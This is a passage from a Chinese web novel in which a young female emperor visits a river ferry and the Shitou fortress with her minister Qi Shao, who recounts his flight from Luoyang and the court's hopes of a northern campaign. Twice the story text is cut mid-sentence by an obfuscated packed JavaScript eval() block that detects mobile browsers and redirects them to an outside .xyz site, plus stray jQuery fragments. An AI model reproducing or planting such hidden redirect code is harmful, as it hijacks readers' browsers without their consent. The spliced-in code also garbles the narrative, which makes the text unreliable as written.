太皇太后的批阅奏折的风格一向简明,但是仅批一个“准”字的奏折她还是第一次见,一看落款“魏膺之”三个字就更吃惊了。 她这些天日日夜夜地看折子抄折子,自然知道魏膺之是当朝宰执,且对太皇太后取消朝议、一人乾纲独断多有不满。这位魏大人为此呈过多次奏章,或要求皇帝陛下恢复每日朝议,或要求率众中枢之臣到御居之处议事,或要求面见皇帝,问候龙体安否等等。 她看得多了,都能想见一位含辛茹苦、鞠躬尽瘁的老臣,意图从太皇太后的魔爪中拯救已经岌岌可危的皇权,但这些合理的要求通通被太皇太后驳回。 今次,太皇太后竟准了魏膺之的奏折,她不免对奏折的内容多了几分好奇心。她逐字逐句地读完,轻轻咦了一声。 齐韶放下手中书卷,侧脸朝她看过来:“陛下是否有疑虑之处?” 萧含光确实没有想明白其中关窍,将奏折递给他,问道:“太皇太后素来不喜欢魏膺之,为何魏大人奏请在下月初八举行献俘仪式,太皇太后竟没有提出反对?” 齐韶将奏折展开,一目十行地掠过,答道:“原因很简单,因为这场献俘仪式也是太皇太后希望看到的。” 萧含光这些天浸淫国事之中,稍加思索,继续问道:“为什么?献俘仪式不是由宋家主导吗?这次大战宋家胜而齐家败,献俘仪式只会让大家记住庐江宋家武功赫赫,遮掩齐家的光彩。” “陛下,齐家是齐家,太皇太后是太皇太后。”齐韶将奏折搁下,解释道:“太皇太后虽然姓齐,但她是整个大楚朝廷的国母。当她手握玉玺时,她代表的是萧氏、是整个大楚朝廷的利益,而不是齐氏一门,陛下明白吗?” 萧含光想了想,又问道:“可你不是说太皇太后忌惮宋家吗?这次仪式之后,庐江宋氏的声誉将更上一层楼,这岂非与太皇太后的心思相悖吗?” “因为比起压制宋家,太皇太后有更重要的事情要做。”齐韶站起身来,面朝北方,声音铿然:“太皇太后并非如吕后一般的人物,她有着常人难以企及的理想。她希望在有生之年,做到连先帝都没有做到的事。” 萧含光:“什么事?” “北伐中原,收回两百年前沦于异族之手的国土。”齐韶立于窗边,此刻夕阳的余晖透过窗棂洒落,将他的眼瞳染成琥珀色,仿佛熔金流淌,又似有一团灼火正在燃烧。 “北伐?”萧含光喃喃出声。 萧含光从未想过北伐的事,自她有记忆以来,南北双方的界限分明,双方在淮水一带各持重兵,虽然疆界时有变化,但也大差不差。她这些天看过的所有奏折表章,从无一人提到北伐二字。 江南金粉地,秦淮烟水家。两百年过去,洛阳的城楼、长安的钟鼓,早已湮没在胡尘之中。当年南渡的士大夫们的后代们早已忘了神州陆沉的苦痛与凄惶。他们生长于斯,也只想抓住脚下的土地,忘了自己的根本应扎根在淮水更北之处,忘了曾经繁华绮梦的东西二京。 长于庵堂的少年天子当然更不会记得这些,她只是在此刻看到了齐韶眼中的从未有过的别样神采,又想到了他常常拿在手中的那本《六韬》,心中忽而一动,问道:“那你呢,你也有志于北伐,因此效忠太皇太后吗?” 她这些天与太皇太后的这位近臣朝夕相处,多少发现了一些不寻常之处。 比如,齐韶被认为是齐阀年轻一辈的佼佼者,但他与齐阀的关系并不亲近,至少他从未回过齐家位于朱雀门的宅邸。哪天不在宫中过夜,也只在自己的私邸居住。 再比如,齐韶官拜中书侍郎,却几乎是太皇太后的私人僚属。太皇太后需要在前朝的一切事情,都是由他经办。齐韶对太皇太后的所有指令全部照单接受,并一丝不苟地完成,使太皇太后端坐椒房殿中,便足以指掌天下之事。为此,他担负不少骂名——至少,这些天萧含光看过的奏折,不少都在弹劾这位太皇太后的近臣。 太皇太后对齐韶的信任也远超君主对臣属的信任。她默许齐韶所做的一切事情,从不质疑与诘问,似乎一点也不担心他会背叛自己。 最后一缕胭脂色的光晕在菱花窗格间滑落,整个西书房掩入浓黯的暮色之中。齐韶转过头朝她看来,他唇角微微扬起,眸中闪过一丝罕见的柔和,仿佛卸下了平日的恭谨与疏离,道:“陛下,明日休沐。中书省不会有奏折送来,陛下可以休息一天。微臣已经向太皇太后请示,带您去一个地方。” *** 第二日一早,萧含光用过早膳,见正光殿门口停了一辆马车。 萧含光上车后,马车从西北角驶出宫门。萧含光撩开车帘,见齐韶骑马领十数名黑衣骑兵立于御道旁,向她微微颔首。 齐韶在前领路,骑兵护卫在后,马车渐渐驶出金陵城,一路向西而行。刚出城时,萧含光尚能见些人烟村落,越向西走,道路越发荒凉起来,萧含光正疑惑此行的目的地,忽见前方出现一处渡口。车夫轻勒缰绳,马车缓缓停下。 隔窗远望,宽阔的江面波光粼粼,江边泊着大小船只,桅杆如林。人群熙攘,漕工的号子声与商贩的吆喝声交织,一派喧嚣景象。 齐韶下了马,低声向随行的骑兵吩咐几句。那些人将马系于道旁,迅速散开,如滴水入海般隐没在熙攘的人群中,动作干净利落,显然训练有素。萧含光知道这些人并未离开,只是潜匿于暗处,保护今日白龙鱼服出行的君王。 齐韶走近马车,右手微抬,掌心向上。萧含光略一迟疑,指尖轻触他的掌心,借力步下马车。 江风凛冽,裹挟着水汽扑面而来,将她青灰色的斗篷吹得高高扬起,衣袂翻飞间,露出内里绣着暗纹的锦缎衣袍。 萧含光远眺江面,问道:“这是什么地方?” 齐韶今日着一身白色大氅,在江风吹拂下愈发显得风姿清绝,他道:“这里是石头津,是金陵城最大的渡口。” 萧含光不禁疑惑起来。下月初八的献俘仪式已是板上钉钉的事,她原以为齐韶会带她去典仪之地,预演一番流程,以免届时出丑,叫人瞧出破绽,可这处位于长江之畔的渡口,不管怎么看都不像和献俘仪式有什么关系。 齐韶并不解释为何带她来这里,径直往人群最稠密之处走去。这里是长江南北人口和货物交汇之处,虽名为渡口,规模和一座小镇差不多。 齐韶显然不是第一次来这里,有不少的船老板认识他,对他恭敬行礼,唤道:“齐大人。”齐韶对他们并不热络,只是微微点头。他的目光偶尔停留,萧含光随着他的目光看过去,不过是渡口卖苦力的船工,以及蜷缩在墙根处的流民和乞丐。 忽地,萧含光听到一旁低矮的棚舍中传来妇人的哭喊声,声音嘶哑,混杂着江风的呼啸,显得格外凄厉:“郎中,求求你救救我儿子,他只有十六岁啊……” 一道声音叹道:“婶子,并非在下不尽力,实在是令郎伤势太重,在下也是毫无办法。” 那妇人哭道:“我苦命的孩儿啊,没了你阿母可怎么活啊……” 齐韶在棚屋前停下,目光扫过棚内的情景,眉头微蹙。郎中显然也认识他,露出恭敬神色,行礼道:“齐公子,您来了。” 齐韶点点头,他看向一旁哭泣的妇人和卧倒地上的少年,问道:“诸葛郎中,这是怎么一回事?” 郎中哀叹一声,道:“唉,这母子俩是从北魏逃难到金陵来的。在逃难的路上,儿子被鲜卑人追杀,伤了脑子。他们没钱治伤,辗转到我这里,已经耽搁了好些时日。齐公子你也知道,我的医术只勉强过得去,一般的小病小伤还能治,这般重伤,我实在是没有办法……” 萧含光闻言,快步走到少年身旁,蹲下身,右手轻轻搭在他的脉搏上,片刻后,她抬头看向郎中,问道:“这少年应是颅内受伤,淤血堵塞,以致昏迷不醒。不知可有银针?” “有,有……”诸葛郎中面露赧然,搓着手道:“只是在下医术浅薄,不敢随意施针,怕误了性命……” 萧含光道:“将银针给我,我来试试——”她从前在药师庵跟随静仪师太学习医术,深知颅内淤血的凶险。静仪师太曾言,此类伤势若不及早施针疏通,轻则瘫痪,重则丧命。此刻,她心中虽无十足把握,却不得不一试。 诸葛郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279691|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中很快找了银针出来。萧含光让郎中将少年扶起,靠坐在墙边。她取过银针,指尖轻捻,针尖在烛光下泛着冷光。她凝神屏息,将银针缓缓刺入少年头顶的几处穴位,手法娴熟而稳健。片刻后,少年的眼皮微微颤动,终于睁开了眼睛,看到一旁的妇人,唤道:“阿母……” 那妇人见儿子苏醒,喜极而泣,走到萧含光面前,跪下磕头拜谢道:“多谢贵人救我儿性命,我母子二人愿作牛作马,报答贵人的恩德。” 萧含光并非第一次施针救人,但她知道这母子二人与她从前救的人是不同的。药师庵是一座皇家寺院,并非等闲人等可以进入,她从前救治的病人大多是金陵或附近大城中的夫人和小姐们。 她从前救了人,那些夫人小姐们会在庵中烧香还愿,感激佛祖菩萨。 而眼前的衣衫褴褛妇人对着她顶礼膜拜,感激她救了她的儿子。她从未遇到这种情况,不免手足无措起来。 齐韶见她发窘,向前一步,将那妇人扶起,道:“夫人无须如此……”他摸出一只钱袋,塞到妇人袖中,道:“这点钱您收着,给令郎买些药,找个安身之处,好好活下去。” “你们救了我儿,我怎么好意思还拿你们的钱……”那妇人嗫嚅着,将钱袋往回推,齐韶后退一步,那钱袋掉在地上。 诸葛郎中弯腰捡起钱袋,轻轻塞进妇人的手中,低声道:“婶子,这钱您就收下吧。齐公子向来如此,您若不收,他心底反而不痛快。您若不信,可以去码头上打听打听,咱们这些从江北逃来的人,谁没受过他的恩惠?” 那妇人捧着钱袋,双手颤抖,泪水顺着布满风霜的脸颊滑落。她张了张嘴,似乎想说些什么,却终究哽咽难言,只能深深伏地,以额相触,久久不起。 齐韶并未在那间棚屋多作停留,两人回到外面的堤岸上。萧含光心中疑窦更增,齐韶出身如今的大楚第一门阀齐氏,是清贵无伦、不染片尘的世家公子,怎么会格外关注这些来自江北的流民?听诸葛郎中的话,齐韶经常来这里,还帮助过不少人。 但齐韶既然没有主动提起,她也不好追问。萧含光随齐韶继续沿江而行,忽见烟波浩渺处拔起一道铁壁铜墙。 一座高耸的城垣临江而立,依山势蜿蜒如龙脊,青灰色墙砖经百年江风磨砺,隐现暗红斑痕,仿佛巨龙的鳞甲浸染了铁锈。城堞上玄甲守军执戟而立,寒铁映着江天雪浪,更显肃杀之气。 齐韶停下脚步,回头望向她,目光沉静如水:“到了。” 萧含光望着眼前巍峨的城垣,问道:“这是什么地方?” 齐韶微微一笑,目光中带着几分探问之意:“陛下前些日子应该看过金陵城的布防地图,不妨自己想想?” 萧含光前些天为了应付太皇太后的考教,确实用心研究过金陵城的布防图。金陵城北面屏障是覆舟山,东西南三个方向各有一座关城,各陈重兵,拱卫京师。东边是东府城,南边是丹阳城,西边临江处是石头城。 她想起方才走过的石头津,心有明悟,答道:“这里是石头城——” 齐韶目光转为赞许:“陛下果然学得很快。” 两人靠近石头城,守城将领立即上前盘问。齐韶并未表露身份,只是从袖中取出一块青铜令牌,令牌上刻着繁复的纹样。士兵一见,神色骤变,立即退至一旁,恭敬让开大路。 齐韶带着她沿城垛一侧的台阶拾级而上,登上最高处。 江风猎猎如袭,萧含光的斗篷被吹得呼呼作响,仿佛一只振翅欲飞的青鸟。她扶住垛口,举目远眺,只见长江如一条白练,自天际奔涌而来,浪涛拍岸声如雷鸣,震得脚下的城墙似乎都在微微颤动。 她的目光越过江面,望向更远处的对岸,苍青色的原野一望无际,水天相接处泛起淡淡的银灰色,仿佛天地在此交融。 她心中涌起一股难以言喻的情绪。她自幼长于药师庵,所见不过方寸之地,何曾想过天地竟如此广阔? 这石头城的巍巍城关,在滚滚江流之中不过瓦瓮。人立足于关城之中,也不过如天地之间一蝼蚁而已。 她脑海中忽浮现宋海晏从前的笑语。 “阿幸,你该多读书。你读了书,就会知道外面的世界比这小小一座药师庵大多了,也有意思多了——” 她最近诸事繁忙,很少有时间去想宋海晏。可此刻一念心起,竟是难以抑制。思及上次在驿馆时,他说要回庐江去,也不知是否成行。 她侧头,正要去问齐韶时,见齐韶恰好也朝她望了过来,说道:“刚才多谢陛下。” 这句话没头没尾,萧含光好一会才反应过来,他是感谢她刚才在那间棚屋中施针救了那位从北魏逃难来的少年。 那对母子对齐韶而言也是陌生人,他实在不必为那两人向她说谢。 萧含光摇了摇头,轻声道:“我曾在药师庵修行,传说中药师佛曾发十二大愿,愿为众生解除疾苦,趋入解脱,药师庵的医术便是由此传承而来。我虽并不信佛法,但既然跟随静仪师太学了医术,治病救人就是我应该做的事。你并不认识那对母子,也并不需要向我致谢……” “我知道,但这是我的衷心。陛下可能觉得我矫作,但我确实想将这个‘谢’字说出口。” 他转头望向江面,他的目光深邃而悠远。萧含光觉得他并不是在看江面,也并不是在看江北的原野,而是看向更北之处,那肉眼已看不见的天地尽头。 惊涛拍岸,伴着江风和潮浪,萧含光听她的人臣讲起自己的故事。 “陛下大概还不知道,我并非出自江左齐家。本名也并非叫齐韶,曾经的我也像那位棚屋中的少年一样,也是一位从北方逃难而至的流民,差点在石头津冻饿而死……” 27. 第九章 岂不怀归 齐韶本名荀韶,出身洛阳大族荀氏。荀氏为官宦世家,本为春秋儒学大家荀子之后裔,家学治经,以《荀子》为主,也擅长琴艺。 两百年前,荀氏先祖荀纶仕于晋朝,晋末乱世,胡族越关而入,中原动荡。皇帝渡江,社稷移鼎,世族纷纷南渡,从此王业偏安东南。 荀氏在洛阳经营数百年,荀纶不忍弃宗祠坟茔南去。等到羯人占据洛阳,再想离开,已是来不及了。于是避居山中,北朝的胡族政权听闻他为当世大儒,请他出仕,荀纶数次推辞。 胡人来了又去,今天是羯人,明天是羌人,后来是鲜卑人,战争从不止歇,长安、洛阳俱成焦土。荀纶年届六十,身体已经半截入了土,他以为自己会追忆着两京旧梦度过余生时,遇到了一位来自南朝的使者,这人给他带来了一块刻着“御命”两字的金印。 南渡的王朝终于在东南站住了脚跟,准备北伐中原,收复旧都,希望荀纶接受北朝的征召,联络北方不忘旧朝的有志之士,等到将来北伐之时,能里应外合,提供助力。 荀纶收下了那枚金印,回到洛阳出仕。他利用自己的人望暗中联系留在北方的故旧,组建部曲,只望南朝有朝一日北伐成功,让长安、洛阳二京恢复中原衣冠与昔日繁华。 他等到耄耋老矣,也没有等到北伐的大军。那位给他送来金印的南朝皇帝早早病死,南朝的宗室、世家忙着争权夺利,没有人再提北伐的事,等到朝局稳定下来,已是十几年后的事了。 荀纶临死之前,将那枚金印交到儿子手中,留下了八字遗言:“忠于王事,以待王师。”他的儿子将这八个字刻在金印的侧面,作为荀氏的祖训。 可是不会有王师了。 北方乱成一团,南方也一样。两百年间,金陵已经换了五个王朝,王座之上换了十几个皇帝。又有谁记得两百年前有一位皇帝送往北方的金印?又有谁知道在被世人遗忘的旧都里还有人等王师归来? 直到七年前,任洛阳城守的荀程听到了南方的消息。 草莽出身的武人萧胥统一了整个南方,建立了大楚王朝。将南北之间防线重新推到淮水一带,荀程终于看到了南朝北伐的希望。 荀程是荀纶的七世孙,也是荀韶的父亲。他派出自己的亲信,带着自己的亲笔信,去往金陵,拜谒南朝的君主,表示如若王师北来,愿为内应。 那名亲信看了密信,认为这是个升官发财的好机会,将这封信交给了北魏的君主。他得到了三十两黄金的赏赐和洛阳城守的官位,荀氏一门则被判满门抄斩。 在大祸来临之前,荀程将那枚金印交给自己的儿子,他说:“荀韶,故土已经容不得我荀氏之人了,你往南边去吧。不要再想王师北伐的事了。你将这枚金印融了,找个地方安度余生吧。不要再留恋故土,清明时,你往北方看一眼,就当是为我荀氏一门祭奠了。” 荀韶独自一人,怀揣着那枚金印,跟着流民们往南走。北朝的鲜卑贵族们喜欢捕捉中原人为奴隶,许多人逃亡南方。天灾战乱频仍,乱离之人无非是哪里能生存就往哪里走—— 他出洛阳,经豫州、扬州,到了南朝安置流民的京口。他用光了所有的钱,又生了一场重病,因为没钱寻医问药,差点病死在路上。他想过按父亲之言,将那枚金印融了,得到的钱便足够他在南朝生存下去。 可他到底不甘心。 他想要到金陵去,为金印上刻的八个字,为荀家两百年的坚持求一个答案。 他在京口的渡口替人搬货,终于攒到船资,到了金陵西岸的石头津。 他打听到朱雀门齐家的宅邸,求见司徒公齐鸿大人。他当然没有见到齐鸿,齐家的仆人见他衣衫褴褛,将他打了一顿,赶了出去。 那一晚,十四岁的荀韶握着那枚金印坐在江边,看着滔滔江水,他想着还不如蹈身江中,了此余生。 他挣扎一晚,最终还是放弃了。他是北人,生于洛阳,长于洛阳,就算是死,也应该回到故土再死。他要渡江,回到江北,回洛阳去。 天明的时候,他遇到大楚戍卫。这一日,大楚皇后齐明霜来到石头城,视察金陵防务,戍卫们照例要提前清场,以免让皇后娘娘看到一些不该看到的画面。 那戍卫看到衣衫褴褛的流民拿着那么大一块金子,动了心思,道:“这金子你是从哪里偷来的?” 荀韶将金印藏入怀中:“我没偷东西,这金子本就是我的……” 戍卫道:“胡说,你穿成这样,怎会有这么大块的金子。你们这些北边来的流民,就是喜欢偷东西。这金子指不定是从哪位贵人家里偷出来的。” 他高声道:“这里有个偷东西的贼人,兄弟们,将他抓起来——” 荀韶见势不妙,拔腿就跑,可他食不果腹的一个人,怎能敌过一整支训练有素的卫队,终于被捉住,那枚金印也被强行夺走,那戍卫冷笑道:“你就是个小偷,还想狡辩……” 荀韶平生从未受此大辱,大喊道:“我没有偷东西,还给我——”他想要去抢金印,又怎么可能得手,被按倒在地上,饱受一顿拳脚。 他悲从心来,不知自己为何要到金陵来,又为何落到如今这般境地。他在惶惶无依之际,终于念起这一切的源头,无非是“北伐”二字而已。 他躺在地上,怆然嚎呼道:“北伐……北伐……北伐……” 这一切当然是徒劳的。南朝人早忘了故国故土,也没了北伐的理想。这世上大概不会再有人理会他的疯话。 偏偏这句话竟有回响。 渡口停了一辆华丽的马车,一位雍容华贵的宫装妇人走下车来,望向戍卫,斥问道:“你们在干什么?” 戍卫见到来人,跪了一地:“参见皇后娘娘。”又奏道:“启禀皇后娘娘,这边有个北地来的流民偷了一枚金印,卑职们正在捉拿。惊动皇后娘娘,请娘娘恕罪。” 荀韶用力大喊:“我没有偷东西。那金印是我的,是南朝皇帝给我家祖上的信物——” 皇后娘娘敛眉道:“金印拿给我看看。” 戍卫将金印奉上。齐明霜将金印拿在手上,正面刻着“御命”二字,侧面刻着“忠于王事,以待王师”八个字。 这枚金印用料是足色纯金,雕工精美,看起来确实是前朝宫中御制之物。 她望向戍卫:“将他放了,带到我跟前来,我有话问他。” 很快,荀韶就被带到皇后娘娘身前。 齐明霜问道:“你说这金印是南朝皇帝给你家祖上的信物?你家祖上是哪位?这是什么时候的事?双方又约定何事?” 荀韶不敢抬头看这位南朝最尊贵的女子,但他知道,现在是他离想要的答案最近的时候。他便从自己的祖先荀纶得到这枚金印开始讲起,讲到自己如何家破人亡,独自带着这枚金印来到金陵。 皇后娘娘听完他的讲述,沉吟良久,最后道:“本宫听说洛阳荀氏家学渊源,擅长的绝学有两种,一是治经《荀子》,二是琴艺。本宫可以给你一个机会,让你证明自己没有说谎。” 她向左右道:“取古琴来。” 宫人很快取来一张琴,皇后娘娘看向这位流离道旁的惨淡少年,道:“你可以随便弹奏一曲,证明你确实是洛阳荀家的子孙。” 荀韶问宫人要了水,净了手,再将琴横于膝盖之上,端然静坐。 少年分明衣不蔽体、满面尘灰、形如乞丐,可当他手指按上琴弦的时候,人人都觉得他该是入则衣锦、出则高车的世家公子。 荀韶左手轻捻,右手慢挑,淙淙琴音从他指尖流泻而出。琴曲以宫音始,中正沉缓,肃穆厚重,是王师列阵之象。齐明霜听出那曲子,那是《诗经》的《出车》。 “我出我车,于彼牧矣。自天子所,谓我来矣。 召彼仆夫,谓之载矣。王事多难,维其棘矣。” 齐明霜闭目聆听,琴声中仿佛有北风呼啸,战鼓雷鸣。羽音烈烈,琴声愈发慷慨激昂起来,少年既弹且唱,那是琴曲中第二叠。 “王命南仲,往城于方。出车彭彭,旂旐央央。 天子命我,城彼朔方。赫赫南仲,玁狁于襄。” 天子命臣子固守北边的城池。可是南马不恋北风,昔日渡江而去的北人也不再归来,又如之奈何。羽音转入哀怨的商音,那琴曲进入第三叠。 “昔我往矣,黍稷方华。今我来思,雨雪载涂。 王事多难,不遑启居。岂不怀归?岂不怀归?” “岂不怀归,岂不怀归——” 琴歌之声一咏三叹,似乎是在祈问上天。如今金陵王气已聚,天子为何没有怀归之心? 大楚皇后齐明霜心中一动,折断了手中把玩的一支玉簪。 怀归。 齐明霜被这个北地而来的少年打动,动了怀归之心。 一曲终了,满场寂然。 半晌,齐明霜又问道:“《荀子》中说‘天行有常,不为尧存,不为桀亡’,不知荀公子何解此经?” 荀韶答道:“天道的运行遵循常理,尧舜为圣王,桀纣为暴君,可不管统治臣民的是哪一位君主,日月星辰都是一样运转,万物都是春生夏长,秋收冬藏。决定是盛世还是乱世的并非天道,而在君王本身。有为的君主会制天命而用之,成就万古之基业——” 齐明霜猛地抬头,看上对坐的褴褛少年,彼此都看到对方目中的灼火。 大楚皇后长身而起,郑重道:“荀公子,你千里迢迢来到金陵,无非求一个答案。这个答案,我齐明霜可以给你。我大楚一朝,终有一天会踏上北伐征途,收复长安、洛阳二都,恢复汉家天下,让你可以在洛阳祭祀荀氏列祖列宗,这是我齐明霜对你的承诺。” 皇后将这名少年带回齐家,易名为齐韶,倾力培养。到他十七岁时,任他为东宫詹事,常召他参与机密,齐韶也因此成为太皇太后最信任的臣子。 *** 长风徐来,江水奔流不息。 齐韶轻声道:“后来我才知道,太皇太后出现在江边,本是为了查看石头城防务。可她最后捡起的,是一个北人诞妄的梦想。” 江风掠过他的鬓角,将一缕碎发吹散在眉骨处,“陛下昨日不是问我为何效忠太皇太后,这就是我的理由。” 萧含光不由问道:“你为什么要告诉我这些?” 齐韶低头:“这也是太皇太后的意思。” 萧含光:“为什么?” 齐韶叹息一声:“陛下,太皇太后已经老了。她虽然有着无上的雄心,但是已经没有足够的精力来撑持她想做的事情。她需要一位继承人,楚国需要一位年少有为的君主继续推动北伐大事,您是太皇太后选中的人。” 萧含光讶然:“我?” “陛下,您也知道,太皇太后的儿子们没有一个存活于世。您的哥哥,皇太孙殿下也早夭。”齐韶目光落在江面,轻声道:“先帝有两个兄弟,分别封为长沙王、豫章王,太皇太后虽然可以从他们的子孙中过继嗣君,但这样容易引起变乱。太皇太后最后选择了陛下您,说陛下虽长于庵堂,经验不足,但胜在聪明沉着,能担大事。” “呵……”萧含光发出一声极苦的哂笑,心中五味杂陈。 这算什么?她年幼时,天家需要一个在庵堂赎罪的人,所以命她出家。等她年长了,国无嗣君,又拆了她的婚事,将她架到皇帝的尊位上来。 她是一枚棋子吗?哪里有用往哪些放? 她的人生就这般被随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279692|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操纵吗? “对不起。”齐韶望着她几乎嵌入掌心的指甲,目光中有一丝歉然,“彼时,长乐公主与宋海晏婚约已成。我向太皇太后提出反对的意见,但她权衡利弊,认为这是最优解法。我没有找到足够多的理由去说服她,所以,我对陛下,始终怀有歉疚之心。” 萧含光心中一道念头一闪而过,问道:“这便是为什么你那天提出带我去行宫见母亲?” 齐韶点头。 “所以你今天带朕来这里,给我说这么一番话,就是为了说服朕,将来配合你们的计划?”萧含光直视着他,声音多了一分泠然:“太皇太后说过,权力是一门操纵的技艺。朕是不是可以理解为,你现在正在试图操纵朕?” 她冷笑道:“用恩情示好,用过去博取同情,再用理想来感化?最后达成你们的目的?” 她之前一直用“我”,现在换成了“朕”。 齐韶一怔,脸色倏然间变得极白。他双膝落地,低头叩了下去:“陛下,臣未曾有过这样的想法。臣只是……只是……” 他想要解释,想要君王相信他虽心有隐衷,但从无一丝一毫不敬之心,然搜肠刮肚,竟找不到合适的辞藻为自己辩解。 或许他也无须辩解。 他本也是想献上自己的忠心,许以驱驰,说服君王当政之后,能按他的设想,继续推进北伐大计。 他并未操纵君王的心思,而最终的目的并无什么不同。 他喉结滚动,艰难出声:“臣……有罪,请陛下再容我一言……” 萧含光垂目望向跪倒身前、脸色青白的青年,心中懊恼,刚才她那一番话说得太重了。 她是君,他是臣。就算她并非实权之君,他亦是朝廷股肱之臣。 毕竟君臣有别。 她一分的重话,落在他耳中,也是十分的重量。 她平生第一次识得了“权力”二字带来的滋味,却并不感到美好。 其实她并无指摘他的资格,自她入宫以来,他已予了她足够多的善意。太皇太后的作为,不该一并算在他身上。她只是一时胸臆难平,那番话便脱口而出。 此时见齐韶如此神色,心中也有几分后悔。她轻叹一声,声音柔和了些:“你起来说吧。” 齐韶并未起身,只是抬起头,说道: “陛下今日施针,救了那名从北地而来的少年。但是救一人易,救千万人难。一名神医医术再精湛,一生能救的人终究有限。可若北伐功成,陛下便能救下无数人的性命。不会再有人被掳为奴隶,也不会有人沦为流民。万民人人得以安居,家家能得圆满。这是天下间,最无上的功德。” “陛下,您的选择将主宰江南江北无数人的命运。”他躬身前倾,伏地长拜,声音在江风中格外清晰:“微臣荀韶,恳请陛下成为这样的君主。臣将效死,助陛下成为真正的天下之主。” 萧含光心中生起一种奇异的感受。 齐韶那番话并不怎么响亮,却一字一句回响在她脑内,嗡嗡作响。 昨日,她不过刚刚窥见主宰自己命运的一线微光;今日,便有人告诉她,你可以主宰无数人的命运。 这样的话,她本不该信。可此刻看向那长跪未起的青年,她又觉得自己应该相信。他的额头仍贴着青砖,肩背绷得像一张拉满的弓,仿佛要将所有的恳切与期盼都倾注在这一拜之中。 江风掠过她的耳畔,带着潮湿的水汽,却吹不散她脑中混沌的思绪。她觉得自己的脑袋有些木,心中更是乱成一团,像被风吹散的芦苇,东倒西歪,找不到归处。 她扶着额头,缓缓坐在城墙垛上。青砖的凉意从掌心蔓延到四肢百骸,却让她稍稍清醒了些。“齐韶……”她的声音轻得像一缕烟,几乎要被江风卷走,“我从前没有想过这些。你先起来……让我……好好想想……” 齐韶终于抬起头,他缓缓起身,衣袂在风中轻轻摆动,像一只收敛羽翼的鹤。 “没关系。”他的声音低沉而温和,“陛下可以慢慢想。” 早春微暖的阳光照在城楼上,萧含光远眺江上往来帆影。 她第一次开始思考,人生一世,应该怎么过活。 从前,她在药师庵时,觉得晨钟暮鼓的生活就是自己的一生。 后来,她遇到宋海晏,开始向往外面的世界,想要得到自由。可那时的她,对自由的想象也不过是逃离庵堂,与他携手并肩,至于自由之后的生活,她从未深想。 那么现在呢? 如果她可以选择,她该选择怎样的人生? 忽地,她听到身后响起琴声。 齐韶不知什么时候取出一张琴,横于膝上,琴弦一拨一振,悠扬高远的琴声遥遥送出。青年以手按弦,口中吟咏着琴歌。 萧含光仔细听去,那是一首乐府曲辞。 “有鸟西南飞,熠熠似苍鹰。 朝发天北隅,暮闻日南陵。 欲寄一言去,托之牋彩缯。 因风附轻翼,以遗心蕴蒸。 鸟辞路悠长,羽翼不能胜。 意欲从鸟逝,驽马不可乘。” 这是元宁元年的晴日,江流磅礴,天是青色的,温润如同玉璧。远方水天相接处有蔼蔼流云,隐隐白帆。 千里江山尽收眼底,美得如同一卷长画。 江风呼啸过耳,雪浪叠着潮涌,脚下的关城震荡不休。有高士弹奏一曲琴歌,向他的君王吟咏他以身许国的忠贞。 她感到骨髓深处有股力量在微微颤栗。 她看到一只白鸟从天际最高处飞来,它掠过江面,落在石头城巍峨耸峙的城楼上,一声清唳,似乎是为琴声和鸣。 她的心也在那一刻安静了下来。 28. 第十章 御前三献 二月初八。 经过接近二十天的准备,献俘仪式在金陵宫城南边的大司马门举行。 率领淮南军获得大胜的庐江刺史宋寒章并未亲至,他派出自己的心腹大将陆崇押运着北魏大将拓跋兴的棺木和数百北魏俘虏到金陵。进献之仪则交给身处金陵的宋家长子宋海晏。 旭日东升,晨光洒在金陵城南的驰道上,映得青石板泛着微光。驰道两侧,挤满了今日前来观礼的金陵百姓。 去年冬天,皇室将自小寄养在庵堂的长乐公主接回金陵,下嫁给镇守淮南的庐江宋家长子宋海晏,这桩婚事本是金陵城人人茶余饭后的谈资。后来长乐公主未嫁夭亡,有不少人猜测庐江宋氏和皇室之间的关系可能不复当初,甚至影响淮南战局。 今年开春,宋家在淮南战场上的大胜击垮了这些流言,也让整个南楚上下人心一振。今日这场献俘仪式,更彰显庐江宋家对皇室的忠诚并未因婚事不谐而受到影响。 在众目期盼中,宋海晏跨着白马,一骑当先,从宣阳门驰入御道。 在他身后,一辆露车载着北魏大将拓跋兴的棺木走在队伍前面,之后便是在大战中被俘虏的北魏将领和士兵们,他们都被剥去衣甲,身着囚服,以锁链加身,在淮南军士兵的驱逐下麻木地向前行走。 萧含光率文武百官立于城楼上,她今日穿着玄色的天子祭服,上绣日月星辰十二章纹,繁复庄严,腰下一侧悬金绶、玉印、玉佩,冕旒垂下的白玉珠,轻轻晃动,声如鸣玉。城楼下,三千御林军各执枪戟,列阵而立,威严赫赫。 当她的目光落在队伍最前方的宋海晏身上时,神情有一瞬间的凝固。 他今日装束不同以往,身着玄甲,头戴武冠,手握银枪,一袭猩红披风随风轻扬,一副雄姿英发、朝气蓬勃的少将军形象,与她印象中的温朗少年截然不同,除了那张她万分熟悉的脸。 她万没想到再见宋海晏是这般情景。 他是从未离开金陵,还是去而复返?他的伤好彻底了吗? 一旁的齐韶察觉她的异样,低声道:“庐江刺史宋寒章没有亲至金陵,进献仪式由宋海晏完成。今日的流程臣已经仔细核对过,他应该没机会到御前来。” 萧含光木然点头。 “击鼓——”礼官长喝穿透云霄。 九十九面夔纹大鼓轰然雷动,声浪如潮。 